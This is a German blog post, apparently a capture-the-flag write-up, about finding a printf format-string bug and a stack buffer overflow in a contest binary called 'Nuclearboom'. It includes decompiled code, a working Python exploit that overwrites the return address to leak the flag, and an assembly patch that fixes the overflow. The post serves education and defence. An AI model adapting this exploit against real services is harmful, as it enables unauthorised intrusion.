USBF iCTF

Am 22. März habe ich am USBF iCTF, einem Capture the Flag Hackercontest teilgenommen. Den Teams wurden identische virtuelle Server gestellt, auf denen bestimmte Dienste liefen. Für drei Bereiche gab es Punkte:

  • Angriff: Es ging darum in den Diensten Schwachstellen zu finden und Exploits zu schreiben, die diese Schwachstellen ausnutzen. Diese Exploits mussten eingereicht werden und wurden dann von der Wettbewerbsleitung gegen die Server der anderen Teams ausgeführt. Die Exploits konnten entweder ein Flag (was nicht weiter definiert war, aber meistens ein leicht zu erkennendes Datum war) zu klauen oder den Dienst komplett lahmzulegen.
  • Verteidigung: Die in den Diensten gefundenen Schwachstellen sollten gepatched werden, damit die von den anderen Teams entwickelten Exploits nicht mehr funktionierten. Dabei darf sich das Verhalten der Dienste nach außen nicht verändern.
  • Erkennung: Angriffe von anderen Teams auf dem eigenen Server sollten erkannt werden.

Ich habe während des Wettbewerbs einen Dienst analysiert. Dieser hieß "Nuclearboom" und stellte ein Interface zur Verwaltung von Kernkraftwerken dar. Ich werde meine Arbeit an diesem Dienst in diesem Blogbeitrag beschreiben

Dieser Dienst besteht aus einem elf-Binary und zwei Textdateien. Zur Analyse des Binaries habe ich ida Pro verwendet. Ida ist ein Disassembler mit integriertem Decompiler, der einen Pseudo C-Code erzeugen kann, was die Analyse von Binaries stark erleichtert.

Der Dienst beschreibt eine Liste von Nuklearkraftwerken mit Eigenschaften (oxygen, carbon, boron, zirconium und uranium level). Bei jeder aufgebauten Netzwerkverbindung werden 10 vordefinierte Kraftwerke erzeugt. Es können dann Kraftwerke angelegt, angeschaut und deren Eigenschaften (die Elementlevel) verändert werden. Zusätzlich kann nach Passworteingabe ein Selbstzerstörungscode abgefragt oder gesetzt werden. Dieser Selbstzerstörungscode ist das gesuchte Flag.

Der grobe Ablauf des Dienstes ist wie folgt:

  • Netzwerkverbindung annehmen (und fork erzeugen)
  • Standardkraftwerke erzeugen (mit zufälligen Elementleveln)
  • Menü anzeigen

Das Menü sieht so aus:

1) build a new nuclear plant
2) list existing nuclear plants
3) display info of a nuclear plant
4) edit an existing nuclear plant
5) get self-destruction code
6) set new self-destruction code
7) exit

 

Ein Kraftwerk wird durch diese Struktur dargestellt (Die Zahlen geben das jeweilige Offset an):

struct Plant {               // Size: 112
  char * name[100];
  short oxygen;              // 100
  short carbon;              // 102
  short boron;               // 104
  short zirconium;           // 106
  short uranium;             // 108
  short index;               // 110
}

Die Liste der Kraftwerke einer Verbindung wird in der folgenden Struktur verwaltet:

struct Plants {
  struct Plant plant[50];
  int count;                //5600
}

Hier der Code der Funktion, die das Menü anzeigt:

void handle_child() {
  Plants plants;
  int res;
  int keep_running = 0;
  init_plants(&plants);

  while (!keep_running) {
    res = print_menu();
    if (res == 1) {
      handle_plant_creation(&plants);
    } else if {....
    ....
    } else if (res == t) {
      return;
    }
  }
}

Und hier noch der Codes des Menüpunktes "build a new nuclear plant":

void handle_plant_creation (Plants *plants) {
  char str[1024];

  Plant *plant = &plants[plants->count];

  ask_for_string("Insert name: ", str, 112);
  plant->index = plants->count;
  plant->carbon = gen_random_num(150, 500);
  plant->uranium = gen_random_num(150, 500);
  ...
  strcpy(plant->name, str);
  if (check_element_levels(plant)) {
    plants->count++;
  }
}

In dieser Funktion sind mindestens zwei Schwachstellen enthalten. Zunächst sei gesagt, dass die Funktion "ask_for_string(char* prompt, char* str, uint32_t len)" genau das tut, was von ihr erwartet wird: Sie gibt den Text prompt aus, und ließt maximal len Zeichen in den String str. Die Funktion "check_element_levels" prüft, ob alle Element Level einen gültigen Wert beinhalten (was bei normaler Ausführung durch das "gen_random_num", mit dem alle Element Level initialisiert werden, sichergestellt wird. Ist der Wert für Uranium in einem ungültigen Bereich, wird unter anderem printf(plant->name);  ausgeführt.

Der erste Exploit dieser Funktion steckt in der Zeile 6. Wenn wir uns die Struktur Plant noch einmal betrachten, sehen wir, dass sie insgesamt 112 Bytes groß ist, der Name aber nur 100 Bytes lang ist. Das heißt, durch Eingabe des Namens können die sechs Elementlevel und der Index überschrieben werden. Hiermit kann also auch der Wert für Uranium in einen ungültigen Bereich gebracht werden. Zu beachten ist hier die Reihenfolge der Befehle zwischen Zeile 7 und 11. Es werden also erst die Elementlevel geschrieben und danach der Name in die Struktur kopiert, der dann wieder die Elementlevel überschreiben kann. Mit dem Uranium Level in einem ungültigen Bereich kann dann ausgenutzt werden, dass der Name direkt per printf ausgegeben wird. Diese Schwachstelle habe ich nicht selber gefunden, sondern ein anderes Mitglied unseres Teams. Einzelheiten zu der Möglichkeit printf so auszunutzen finden sich hier. Gepatched habe ich diese Schwachstelle aber trotzdem, das war hier auch sehr einfach, da nur die 112 in eine 100 geändert werden musste. Es könnte aber sein, dass sich durch Verändern der Elementlevel in "edit an existing nuclear plant" das printf(plant->name); trotzdem noch ausführen lässt.

Die zweite Schwachstelle könnte dem aufmerksamen Leser bereits aufgefallen sein: Die Struktur Plants kann maximal 50 Kraftwerke aufnehmen, in der Funktion "handle_plant_creation" (und auch sonst nirgendwo) wird aber sichergestellt, dass nur 50 Plants existieren. Werden 51 Plants angelegt, wird also ein Bufferoverflow erzeugt. Da die Struktur Plants in der Funktion "handle_child" auf dem Stack angelegt wird, kann unter anderem die Rücksprungadresse von "handle_child" manipuliert werden. Dafür hier das (echte) Stacklayout (In Klammern wieder das Offset, hier relativ zu plants):

plants        // 0
res           // 5604
keep_runing   // 5608
...           // 5612
EBP           // 5632
ret           // 5636

Mein Ziel war es jetzt die Rücksprungadresse so zu verändern, dass sie in die Funktion zeigt, die den Selbstzerstörungscode ausgibt (0x8049238). Das 51. Kraftwerk landet auf dem Stack an Offset 5600 (Das ist das Offset von Plants.count, also direkt hinter dem Plant-Array). Das erste Element von Plant ist der Name, der dann von Offset 5600 - 5700 reicht und somit die Rücksprungadresse schon einschließt. Die Rücksprungadresse liegt zwischen Offset 5636 und 5640, oder 36-40 in Name des 51. Kraftwerks. Alles was nach ret auf dem Stack liegt und damit ebenfalls beschädigt wird, liegt (aufgrund der Stack-Architektur) im Callstack oberhalb von "handle_child". Da das Programm nach Ausgabe des Selbstzerstörungscodes wahrscheinlich sowieso abstürzt (Der Stackframe für die Funktion wurde ja gar nicht erstellt), ist das egal.

Hier ist mein Exploitcode (Das Interface war vorgegeben):

import socket
import sys

class Exploit():
  def execute(self, ip, port, flag_id):
    con = socket.create_connection((ip, port));

    def wait_for(ma):
    """
    Waits until the server send a specific string.
    """
      data = ""
      while 1:
        b = con.recv(1)
        data += b
        #sys.stdout.write(b)
        if data[-len(ma):] == ma: break
      return data

    wait_for("Your choice: ")  # Wait for first menu)

    key_line  = ""
    for i in xrange(41):          # Insert 41 plants (10 preexisting + 41 = 51)
      con.send("1\n")
      wait_for("Insert name: ")
      if i == 40:
        # Only send malicious code for last one (maybe a little harder to detect)
        s = ("a" * 36) + ("\x38\x92\x04\x08")
        con.send(s)
      else:
        con.send("Name")
      con.send("\n")
      if i == 40:
        # After the 41st insert the programm outputs the secret automatically
        key_line = wait_for("Handle with care.")
      else:
        wait_for("Your choice:" ) # Wait for menu

    # The uber-duber secret self-destruction code is: "<code>". Handle with care.
    self.flag = key_line.split("\"")[1]
    con.close()

def result(self):
    return {'FLAG': self.flag}

Um die Schwachstelle auszunutzen, müssen 41 Kraftwerke angelegt werden, wobei das 41. im Namen ab dem 36. Byte die Zieladresse 0x8049238 besitzen muss. Danach wird die Funktion "handle_child" sich automatisch beenden, da ihre Variable keep_running ebenfalls (mit "aaaa" überschrieben wurde. Dadurch erfolgt der Rücksprung zur manipulierten Adresse und somit die Ausgabe des Selbstzerstörungscodes.

Hätte ich den Sourcecode gehabt wäre die Schwachstelle natürlich ganz einfach zu patchen gewesen. Hatte ich aber nicht, also musste ich auf Assemblerlevel patchen. Glücklicherweise gab es am Anfang der Funktion "handle_plant_creation" eine Debugausgabe auf die lokale Konsole. Diese konnte ich entfernen und hatte damit genug Platz um eine Verzweigung einzubauen, die bei bereits 50 existierenden Kraftwerken direkt zum Funktionsende springt. Für diesen Patch habe ich mit nasm das folgende Stück Assemblercode assembled:

bits 32
mov eax, [ebp + 0x8]
mov eax, [eax + 0x15e0]
cmp eax, 50
jge $+1d1h

Das erste move holt sich die Speicheradresse von plants, das zweite entpackt daraus den count. Dann folgt ein Vergleich auf 50 und der bedingte relative Sprung zum Prolog. Besonders praktisch war hier, dass die beiden mov Befehle sowieso die nächsten Befehle im Programm gewesen wären und der weiter Code dann den count in EAX erwartet. Der Patch ist gerade mal 18 Byte groß. Die Debugausgabe und die beiden mov Befehle waren zusammen 21 Byte groß. Mit 3 NOPs passte der Patch dort also gut rein.

Das Binary habe ich unter Linux mit hte bearbeitet, das ist ein Consolen-Hex-Editor, mit integriertem Disassembler. Dadurch ist beim patchen gut zu überprüfen, ob die eingegeben Sequenz dem richtigen Assemblercode entspricht und wie viele NOPs benötigt werden. Bei einem größeren Patch würde ich mir wahrscheinlich ein anderes Tool suchen (oder schreiben), dass den von nasm erzeugten Code automatisch in das Binary einfügt.

Noch ein kleines Wort zu nasm: Ich hatte bei meinem ersten Versuch das bits 32 weggelassen, dadurch hat nasm 16 Bit Code erzeugt.

Ich hoffe diese Informationen sind für den ein oder anderen Leser interessant.

Leave a Reply

Your email address will not be published. Required fields are marked *